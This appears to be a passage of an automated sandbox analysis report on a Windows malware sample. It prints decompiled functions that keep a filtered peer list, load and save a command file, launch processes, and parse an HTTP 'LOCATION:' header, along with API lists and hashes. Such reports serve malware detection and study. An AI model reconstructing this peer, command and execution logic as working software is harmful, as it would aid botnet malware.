				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409770(_a4); // executed
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004094E0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					__eflags = _t52;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004094E0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						__eflags = _t54;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x416df4);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								__eflags = _v12 -  *0x416e2c; // 0x200
								if(__eflags >= 0) {
									break;
								}
								_t93 =  *((intOrPtr*)(0x416e30 + _v12 * 4));
								__eflags =  *((intOrPtr*)(_t93 + 4)) - _a4;
								if( *((intOrPtr*)(_t93 + 4)) != _a4) {
									_t95 = _v12 + 1;
									__eflags = _t95;
									_v12 = _t95;
									continue;
								}
								_t65 = E0040BE60();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409980(_t55);
							_t57 = _v5 & 0x000000ff;
							__eflags = _t57;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x416df4);
								return _t57;
							}
							_v13 = 0;
							__eflags =  *0x416e2c - 0x200;
							if( *0x416e2c == 0x200) {
								_v13 = 1;
							}
							_t57 = E00408B00(0xc); // executed
							_v20 = _t57;
							__eflags = _v20;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BE60() - _a8;
								__eflags = _v13 & 0x000000ff;
								if((_v13 & 0x000000ff) == 0) {
									_t89 =  *0x416e2c; // 0x200
									_t60 = _v20;
									 *((intOrPtr*)(0x416e30 + _t89 * 4)) = _v20;
									_t77 =  *0x416e2c; // 0x200
									_t78 = _t77 + 1;
									__eflags = _t78;
									 *0x416e2c = _t78;
									L25:
									_t57 = E00409980(_t60);
									__eflags = _a12 & 0x000000ff;
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409660(_t57); // executed
									}
									goto L27;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									_t61 =  *0x416e2c; // 0x200
									__eflags =  *(0x416e2c[_t61]);
									if( *(0x416e2c[_t61]) == 0) {
										break;
									}
									Sleep(1);
								}
								_t91 =  *0x416e2c; // 0x200
								 *(0x416e2c[_t91]) = 1;
								_t80 =  *0x416e2c; // 0x200
								E00408C70(0x416e2c[_t80]);
								_t60 =  *0x416e2c; // 0x200
								0x416e2c[_t60] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004094E0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						__eflags = _t68;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004094E0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						__eflags = _t68;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004094E0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					__eflags = _t72;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004094E0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					__eflags = _t72;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}

APIs

Part of subcall function 00409770: gethostname.WS2_32(?,00000100), ref: 0040978C
Part of subcall function 00409770: gethostbyname.WS2_32(?), ref: 0040979E

strstr.NTDLL ref: 00409A60
strstr.NTDLL ref: 00409A7E
strstr.NTDLL ref: 00409A9C

Strings

.10, xrefs: 00409ACB
.10., xrefs: 00409AE9
10., xrefs: 00409AAD
127., xrefs: 00409A4E
.127, xrefs: 00409A6C
.127., xrefs: 00409A8A

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: strstr$gethostbynamegethostname
String ID: .10$.10.$.127$.127.$10.$127.
API String ID: 2540993189-3303897403
Opcode ID: b76f67e7926c3bfc2b6239aaaf97ef912ceb140556f2a3feeb29e46595fad57e
Instruction ID: 3df5601b161af7dea13d6a0229968f945e0e067b118b08783a6fcb5bdca65d6d
Opcode Fuzzy Hash: b76f67e7926c3bfc2b6239aaaf97ef912ceb140556f2a3feeb29e46595fad57e
Instruction Fuzzy Hash: AC51B4B8E043449BDB04EB61E841BAA7BB5AB44308F04C53EE904673C2D67EE951CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00409D40 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409D40() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				void* _t39;
				intOrPtr _t41;
				void* _t42;
				void* _t74;

				InitializeCriticalSection(0x416df4);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409A30( *((intOrPtr*)(0x4143b8 + _v12 * 4)), E0040BE60(), 0); // executed
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_t39 = CreateFileW("C:\Users\Albus\tbnds.dat", 0x80000000, 0, 0, 3, 0, 0); // executed
				_v8 = _t39;
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409A30( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BE60() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8); // executed
				}
				E00409750(); // executed
				_t41 =  *0x416e10; // 0x1eb1d60
				_t42 = E0040BBA0(_t41, 0, E00409620, 0, 0, 0); // executed
				return _t42;
			}

0x00409d4b
0x00409d51
0x00409d63
0x00409d7f
0x00409d84
0x00409d60
0x00409d60
0x00409d9d
0x00409da3
0x00409daa
0x00409dc4
0x00409dcb
0x00409de3
0x00409dea
0x00409df8
0x00409dfb
0x00409e02
0x00409e1d
0x00409e4a
0x00409e4f
0x00409e11
0x00409e1a
0x00409e1a
0x00409e58
0x00409e58
0x00409e62
0x00409e62
0x00409e6c
0x00409e6c
0x00409e72
0x00409e84
0x00409e8a
0x00409e95

APIs

InitializeCriticalSection.KERNEL32(00416DF4,?,?,?,?,?,?,00406559), ref: 00409D4B
CreateFileW.KERNEL32(C:\Users\user\tbnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409D9D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409DBE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409DDD
GetFileSize.KERNEL32(000000FF,00000000), ref: 00409DF2
UnmapViewOfFile.KERNEL32(00000000), ref: 00409E58
CloseHandle.KERNEL32(00000000), ref: 00409E62
CloseHandle.KERNEL32(000000FF), ref: 00409E6C

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL ref: 0040BE78

Strings

C:\Users\user\tbnds.dat, xrefs: 00409D98
Ye@, xrefs: 00409E68, 00409DEE, 00409DBA

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: C:\Users\user\tbnds.dat$Ye@
API String ID: 439099756-3891025474
Opcode ID: 1123c5289f363af0f8f140666ba4873a039637e46353943bec5018710259f365
Instruction ID: 4dce5e276bdf20b80a38771717a09593e8b4a8e5598cf30a42ed89e5f557a98d
Opcode Fuzzy Hash: 1123c5289f363af0f8f140666ba4873a039637e46353943bec5018710259f365
Instruction Fuzzy Hash: F4413F74E40308BBDB10DBA4DC4ABAEB774AB44704F208569F611772C2C7B96941CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 004045F0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004045F0() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection("(Z(");
				_t35 = CreateFileW("C:\Users\Albus\tbcmds.dat", 0x80000000, 0, 0, 3, 0, 0); // executed
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B210(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E004044E0(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408C70(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}

APIs

InitializeCriticalSection.KERNEL32((Z(,?,?,?,?,?,00406523), ref: 004045FB
CreateFileW.KERNEL32(C:\Users\user\tbcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00404615
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00404636
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00404655
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040466E
UnmapViewOfFile.KERNEL32(00000000), ref: 004046FB
CloseHandle.KERNEL32(00000000), ref: 00404705
CloseHandle.KERNEL32(000000FF), ref: 0040470F

Strings

(Z(, xrefs: 004045F6
C:\Users\user\tbcmds.dat, xrefs: 00404610

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: (Z($C:\Users\user\tbcmds.dat
API String ID: 3956458805-52147524
Opcode ID: d9d6ccae4102e69466f14f4338cee386052dc7b428fa04fb1a9decc745564596
Instruction ID: fde0418914d6c461a92172338520ab8504d9313cab43c149491a54f3197792e7
Opcode Fuzzy Hash: d9d6ccae4102e69466f14f4338cee386052dc7b428fa04fb1a9decc745564596
Instruction Fuzzy Hash: 063145B4D40209FFDB14DBE4CC49FAEB774AB89704F208969E601772C0D7B96541CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D390 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D390(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t20;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406227
				_t20 = CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t20 != 1) {
					_t12 =  &_a4; // 0x406227
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8);
				return 1;
			}

APIs

memset.NTDLL ref: 0040D39E
CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Sleep.KERNEL32(000003E8), ref: 0040D3F5
ShellExecuteW.SHELL32(00000000,open,'b@,00000000,00000000,00000000), ref: 0040D410
Sleep.KERNEL32(000003E8), ref: 0040D42A

Strings

'b@, xrefs: 0040D3DF, 0040D405, 0040D3E2, 0040D408
D, xrefs: 0040D3B4
, xrefs: 0040D41F
open, xrefs: 0040D409

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$CreateExecuteProcessShellmemset
String ID: $'b@$D$open
API String ID: 2222793131-3177583149
Opcode ID: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction ID: b11808ad886c3be21141a941b9f16766042708721ad172ccf90be75e59fbd376
Opcode Fuzzy Hash: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction Fuzzy Hash: E211FE71E4430CBBEB14DF94DC46BDE7774AB18700F20412AFA09BA2C0D6B55A448B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1D0 Relevance: 15.1, APIs: 10, Instructions: 145
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040D1D0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				void* _t54;
				void* _t56;
				void* _t62;
				void* _t64;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_t54 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0); // executed
				_v16 = _t54;
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_t56 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0); // executed
						_v16 = _t56;
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0); // executed
							CloseHandle(_v16);
						}
						E00408C70(_v8);
					}
					return _v21;
				}
				_t62 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0); // executed
				_v28 = _t62;
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_t64 = MapViewOfFile(_v28, 4, 0, 0, 0); // executed
				_v32 = _t64;
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B1E0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AB80(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12); // executed
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004094C0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408C70(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32); // executed
					goto L10;
				}
			}

0x0040d1d8
0x0040d1dc
0x0040d1e3
0x0040d1ea
0x0040d204
0x0040d20a
0x0040d211
0x0040d323
0x0040d327
0x0040d33c
0x0040d342
0x0040d349
0x0040d34b
0x0040d361
0x0040d36b
0x0040d36b
0x0040d375
0x0040d37a
0x0040d385
0x0040d385
0x0040d225
0x0040d22b
0x0040d232
0x0040d319
0x0040d31d
0x00000000
0x0040d31d
0x0040d244
0x0040d24a
0x0040d251
0x0040d30f
0x0040d313
0x00000000
0x0040d257
0x0040d263
0x0040d26d
0x0040d277
0x0040d27c
0x0040d27f
0x0040d286
0x0040d29f
0x0040d2b9
0x0040d2be
0x0040d2c1
0x0040d2c8
0x0040d2d6
0x0040d2db
0x0040d2ee
0x0040d2f0
0x0040d2f6
0x0040d2fb
0x0040d2fe
0x0040d2fe
0x0040d2f0
0x0040d2c8
0x0040d286
0x0040d309
0x00000000
0x0040d309

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040D309
CloseHandle.KERNEL32(00000000), ref: 0040D313
CloseHandle.KERNEL32(000000FF), ref: 0040D31D
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D33C
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040D361
CloseHandle.KERNEL32(000000FF), ref: 0040D36B

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
String ID:
API String ID: 171974401-0
Opcode ID: 6335cb23eab44def6f952d64af18e03c790db734405732daa150c51d204b45a0
Instruction ID: 3921fc4700ee4b190ae2af8b7d894abc0534e186cae3a84a50511f4350192fbd
Opcode Fuzzy Hash: 6335cb23eab44def6f952d64af18e03c790db734405732daa150c51d204b45a0
Instruction Fuzzy Hash: 97512CB5E00208FBDB14DFE4CC59BEEBB74AB48704F208569E611772C0D7B96A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404970 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 177
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00404970(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				void* _t82;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection("(Z(");
				_t111 = _a12;
				_t76 = E0040B270(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B210(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x4163b4; // 0x1
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x4163b0;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408C70( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408CE0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408C70( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AB80( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C90( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E004044E0(_a16, _v12, _a12, _a16, 1); // executed
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x4163b4 = 0;
								_v5 = 0;
							}
						}
						E00408C70(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_t82 = CreateFileW("C:\Users\Albus\tbcmds.dat", 0x40000000, 0, 0, 2, 2, 0); // executed
							_v28 = _t82;
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x4163b4; // 0x1
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x4163b0; // 0x1eb7da8
									_t88 =  *0x4163b0; // 0x1eb7da8
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0); // executed
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection("(Z(");
				return _v5;
			}

0x00404978
0x00404981
0x0040498b
0x0040498f
0x00404994
0x0040499c
0x004049a6
0x004049ab
0x004049ae
0x004049b5
0x004049bb
0x004049bf
0x004049c3
0x004049d5
0x004049d8
0x004049de
0x00000000
0x00000000
0x004049f3
0x00404a02
0x00404a11
0x00404a1d
0x00404a38
0x00404a44
0x00404a54
0x00404a68
0x00404a96
0x00404aa2
0x00404abe
0x00404ac3
0x00404ac6
0x00404a04
0x004049d2
0x00000000
0x004049d2
0x00000000
0x00404a02
0x00404ad5
0x00404ad7
0x00404ae7
0x00404aec
0x00404af2
0x00404af4
0x00404af6
0x00404b00
0x00404b00
0x00404af4
0x00404b08
0x00404b14
0x00404b16
0x00404b30
0x00404b36
0x00404b39
0x00404b3d
0x00404b3f
0x00404b51
0x00404b54
0x00404b5a
0x00000000
0x00000000
0x00404b6b
0x00404b81
0x00404b92
0x00404b4b
0x00404b4b
0x00404b4e
0x00404b4e
0x00404b9e
0x00404ba8
0x00404ba8
0x00404b3d
0x00404b16
0x004049b5
0x00404bb3
0x00404bc1

APIs

EnterCriticalSection.KERNEL32((Z(,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404981
CreateFileW.KERNEL32(C:\Users\user\tbcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00404B30
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 00404B92
FlushFileBuffers.KERNEL32 ref: 00404B9E
CloseHandle.KERNEL32(000000FF), ref: 00404BA8
LeaveCriticalSection.KERNEL32((Z(,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404BB3

Strings

(Z(, xrefs: 0040497C, 00404BAE
C:\Users\user\tbcmds.dat, xrefs: 00404B2B

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
String ID: (Z($C:\Users\user\tbcmds.dat
API String ID: 2945370292-52147524
Opcode ID: 395808a6a0669ea4872ecc346cb8f49b36516ca7ebeabffad03fad16ff85af04
Instruction ID: 17ab94b32ecbdd43ae5be3672dc601cffb9a037549fc2dffe68e9228f76f24ff
Opcode Fuzzy Hash: 395808a6a0669ea4872ecc346cb8f49b36516ca7ebeabffad03fad16ff85af04
Instruction Fuzzy Hash: 487182B5A00109ABCB04CF94D985FEFB7B5FB88304F148169EA05B7381C779E941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C490 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0040C490(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0); // executed
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B290(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8); // executed
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Sleep.KERNEL32(000003E8), ref: 0040C4EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

LOCATION: , xrefs: 0040C515
HTTP/1.1 200 OK, xrefs: 0040C4FF

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

